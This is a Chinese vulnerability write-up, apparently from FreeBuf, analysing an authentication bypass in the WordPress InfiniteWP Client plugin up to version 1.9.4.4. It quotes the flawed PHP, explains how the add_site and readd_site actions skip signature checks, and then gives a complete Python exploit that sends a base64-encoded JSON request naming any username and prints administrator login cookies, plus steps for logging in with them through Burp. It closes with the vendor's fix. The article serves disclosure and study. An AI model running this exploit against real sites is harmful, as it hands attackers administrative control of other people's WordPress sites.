关于WordPress InfiniteWP Client的身份认证绕过漏洞的分析与利用 – 作者:Neroqi

前言

InfiniteWP Client是一个WordPress插件,当它与InfiniteWP Admin Panel结合使用时,可以方便快捷地集中管理多个WordPress站点。InfiniteWP Client<=1.9.4.4的版本被曝出了一个身份认证绕过漏洞。目前InfiniteWP Client安装在30多万个WordPress站点上,因此该漏洞的影响面非常广。本文详细分析了该漏洞,并且对其进行了利用。

实验环境 

1.测试工具:BurpSuite v2.1

2.目标主机:Debian9.6 x64 

3.软件版本:WordPress 5.2.2 

4.插件版本:iwp-client.1.9.4.4

漏洞分析

1.问题主要出在函数iwp_mmb_set_request()中,该函数检查IWP_MMB_Core类的request_params变量是否为空。若$iwp_mmb_core->request_params的值为空,则返回false;若不为空,则后续会判断变量$params[‘username’]是否已设置并且该用户是否已登录,如果$params[‘username’]已设置且该用户未登录,那么接下来使用iwp_mmb_get_user_by函数获取用户信息,然后使用wp_set_auth_cookie为给定的$params[‘username’]设置登录cookie。但是$params[‘username’]的值从何而来?在以下代码中,我们看到$params = $iwp_mmb_core->request_params这条语句。

if (!function_exists ('iwp_mmb_set_request')) {
	function iwp_mmb_set_request(){
		global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache, $iwp_mmb_activities_log;
		if (is_user_logged_in()) {
			iwp_plugin_compatibility_fix();
		}
		if (empty($iwp_mmb_core->request_params)) {
			return false;
		}
		$params = $iwp_mmb_core->request_params;
		$action = $iwp_mmb_core->request_params['iwp_action'];
		$is_save_activity_log  = $iwp_mmb_core->request_params['is_save_activity_log'];
		if ($action == 'maintain_site') {
			iwp_mmb_maintain_site($params);
			iwp_mmb_response(array('error' => 'You should never see this.', 'error_code' => 'you_should_never_see_this'), false);
		}
		@ignore_user_abort(true);
		$GLOBALS['IWP_CLIENT_HISTORY_ID'] = $iwp_mmb_core->request_params['id'];
		iwp_mmb_backup_db_changes();
		if(isset($params['username']) && !is_user_logged_in()){
			$user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
			if (isset($user) && isset($user->ID)) {
				wp_set_current_user($user->ID);
				update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
			}
			$isHTTPS = (bool)is_ssl();
			if($isHTTPS){
				wp_set_auth_cookie($user->ID);
			}else{
				wp_set_auth_cookie($user->ID, false, false);
				wp_set_auth_cookie($user->ID, false, true);
			}
		}

2.$iwp_mmb_core->request_params的值又是从何而来?追溯$iwp_mmb_core->request_params,找到一个名为iwp_mmb_parse_request()的函数。这个函数在init.php的末尾被调用,代码具体如下: 

if( !function_exists ('iwp_mmb_parse_request')) {
	function iwp_mmb_parse_request()
	{
		global $HTTP_RAW_POST_DATA, $iwp_mmb_activities_log;
		$HTTP_RAW_POST_DATA_LOCAL = NULL;
		$HTTP_RAW_POST_DATA_LOCAL = file_get_contents('php://input');
		if(empty($HTTP_RAW_POST_DATA_LOCAL)){
			if (isset($HTTP_RAW_POST_DATA)) {
				$HTTP_RAW_POST_DATA_LOCAL = $HTTP_RAW_POST_DATA;
			}
		}
			
		global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache;
		if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
			$request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
			$request_raw_data = $request_data_array[1];
			$data = trim(base64_decode($request_raw_data));
			$GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
		}else{
			$data = false;
			$request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
			$serialized_data = trim(base64_decode($request_raw_data));
			if (is_serialized($serialized_data)) {
					iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
			}
		}
		
		if ($data){
			$request_data = json_decode($data, true);
			if(isset($request_data['params'])){ 
				$request_data['params'] = iwp_mmb_filter_params($request_data['params']);
			}
			if (isset($GLOBALS['IWP_JSON_COMMUNICATION']) && $GLOBALS['IWP_JSON_COMMUNICATION']) {
				$signature  = base64_decode($request_data['signature']);
			}else{
				$signature  = $request_data['signature'];
			}
			$iwp_action 					= $request_data['iwp_action'];
			$params 						= $request_data['params'];
			$id 							= $request_data['id'];
			if(isset($request_data['is_save_activity_log'])) {
				$is_save_activity_log	= $request_data['is_save_activity_log'];
			}
			$GLOBALS['activities_log_datetime'] = $request_data['activities_log_datetime'];
		}
		if (isset($iwp_action) && $iwp_action != 'restoreNew') {
			if(!defined('IWP_AUTHORISED_CALL')) define('IWP_AUTHORISED_CALL', 1);
			if(function_exists('register_shutdown_function')){ register_shutdown_function("iwp_mmb_shutdown"); }
			$GLOBALS['IWP_MMB_PROFILING']['ACTION_START'] = microtime(1);
		
			error_reporting(0);
			@ini_set("display_errors", 0);
					
			run_hash_change_process();
			iwp_plugin_compatibility_fix();
			$action = $iwp_action;
			$_wp_using_ext_object_cache = false;
			@set_time_limit(600);
			
			if (!$iwp_mmb_core->check_if_user_exists($params['username']))
				iwp_mmb_response(array('error' => 'Username ' . $params['username'] . ' does not have administrative access. Enter the correct username in the site options.', 'error_code' => 'username_does_not_have_administrative_access'), false);
			
			if ($action == 'add_site') {
				$params['iwp_action'] = $action;
				$iwp_mmb_core->request_params = $params;
				return;
			}elseif ($action == 'readd_site') {
				$params['id'] = $id;
				$params['iwp_action'] = $action;
				$params['signature'] = $signature;
				$iwp_mmb_core->request_params = $params;
				return;
			}
			
			$auth = $iwp_mmb_core->authenticate_message($action . $id, $signature, $id);
			if ($auth === true) {
				if (!defined('WP_ADMIN') && $action == 'get_stats' || $action == 'do_upgrade' || $action == 'install_addon' || $action == 'edit_plugins_themes' || $action == 'bulk_actions_processor' || $action == 'update_broken_link' || $action == 'undismiss_broken_link') {
					define('WP_ADMIN', true);
				}
				if ($action == 'get_stats') {
					iwp_mu_plugin_loader();
				}
				if (is_multisite()) {
					define('WP_NETWORK_ADMIN', true);
				}else{
					define('WP_NETWORK_ADMIN', false);
				}
				$params['id'] = $id;
				$params['iwp_action'] = $action;
				$params['is_save_activity_log'] = $is_save_activity_log;
				$iwp_mmb_core->request_params = $params;
			} else {
				iwp_mmb_response($auth, false);
			}
		} else {
            $HTTP_RAW_POST_DATA =  $HTTP_RAW_POST_DATA_LOCAL;
		}
		
	}
}

3.我们注意到add_site和readd_site这两个操作,当变量$action为add_site或者readd_site时,直接对$iwp_mmb_core->request_params进行了赋值,并且进行了return,后续的$iwp_mmb_core->authenticate_message($action . $id, $signature, $id)安全检查也就不会执行了,因此问题就出在add_site和readd_site这两个动作上。 

漏洞利用

1.进一步分析函数iwp_mmb_parse_request()中的如下代码:

if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
			$request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
			$request_raw_data = $request_data_array[1];
			$data = trim(base64_decode($request_raw_data));
			$GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
		}else{
			$data = false;
			$request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
			$serialized_data = trim(base64_decode($request_raw_data));
			if (is_serialized($serialized_data)) {
					iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
			}
		}
		
		if ($data){
			$request_data = json_decode($data, true);

从上面的代码可以看出,函数iwp_mmb_parse_request()先对$request_raw_data进行了base64解码并将其赋值给$data,然后又对$data进行了json解码。因此,要使恶意请求能够生效,首先必须使用json对负载进行编码,再使用Base64编码,然后在POST请求中将其发送给WordPress。

2.这里写了一个漏洞利用程序,具体代码如下:

# -*- coding: UTF-8 -*-
import requests
import base64
import json
def exploit(url, username):
    json_info = {"iwp_action": "add_site", "params": {"username": username}}
    try:
        return requests.post(url, timeout=5, verify=False,
            headers={"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0"},
            data="_IWP_JSON_PREFIX_{}".format(base64.b64encode(json.dumps(json_info).encode("utf-8")).decode("utf-8"))
        )
    except Exception as e:
        print("[-] HTTP Exploit Error: {}".format(e))
    return False
if __name__ == "__main__":
    url = raw_input("[+] 请输入url:")
    username = raw_input("[+] 请输入用户名:")
    site_response = exploit(url, username)
    cookie = ""
    if (site_response and site_response.status_code == requests.codes.ok):
        list = [str(a)+"="+str(b) for a, b in site_response.cookies.items()]
        cookie = "; ".join(list)
    if cookie:
            print("[+] 使用以下Cookies登录:\n{}".format(cookie))
            exit(0)
print("[-] 漏洞利用失败!")

运行上述代码,其中的参数url输入:

http://192.168.110.145/wordpress/wp-admin/

参数用户名输入:admin,在本例中WordPress的管理员用户名为admin,在实际操作中可能需要多次测试才能够得到正确的用户名。运行代码最终获得用于登录的Cookie值。

在浏览器中输入url:

http://192.168.110.145/wordpress/wp-admin/

使用Burpsuite截断代理,使用前面获取到的Cookie值替换截获到的数据包中的Cookie值,如下图所示:

如下图所示,可以看到登录WordPress管理后台成功。

漏洞修复

该漏洞在1.9.4.5版本中得到修复,代码具体如下:

if ($action == 'add_site' || $action == 'readd_site') {
			return false;
		}
		if ($action == 'maintain_site') {
			iwp_mmb_maintain_site($params);
			iwp_mmb_response(array('error' => 'You should never see this.', 'error_code' => 'you_should_never_see_this'), false);
		}
		@ignore_user_abort(true);
		$GLOBALS['IWP_CLIENT_HISTORY_ID'] = $iwp_mmb_core->request_params['id'];
		iwp_mmb_backup_db_changes();
		if(isset($params['username']) && !is_user_logged_in()){
			$user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
			if (isset($user) && isset($user->ID)) {
				wp_set_current_user($user->ID);
				// Compatibility with All In One Security
				update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
			}
			$isHTTPS = (bool)is_ssl();
			if($isHTTPS){
				wp_set_auth_cookie($user->ID);
			}else{
				wp_set_auth_cookie($user->ID, false, false);
				wp_set_auth_cookie($user->ID, false, true);
			}
		}

主要是针对变量$action增加了一个条件判断,当$action为add_site或者readd_site时,函数直接返回false,这样就不涉及后续使用wp_set_auth_cookie来给$params[‘username’]设置Cookie,漏洞也就得以修复。

总结

本文中的身份认证绕过漏洞是由代码中的逻辑错误造成的,而且恶意流量与正常流量并无明显差别,通过waf设备也很难进行防御,建议将插件InfiniteWP Client升级到最新版本。

*本文作者:Neroqi,转载请注明来自FreeBuf.COM

来源:freebuf.com 2020-04-17 08:00:15 by: Neroqi

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论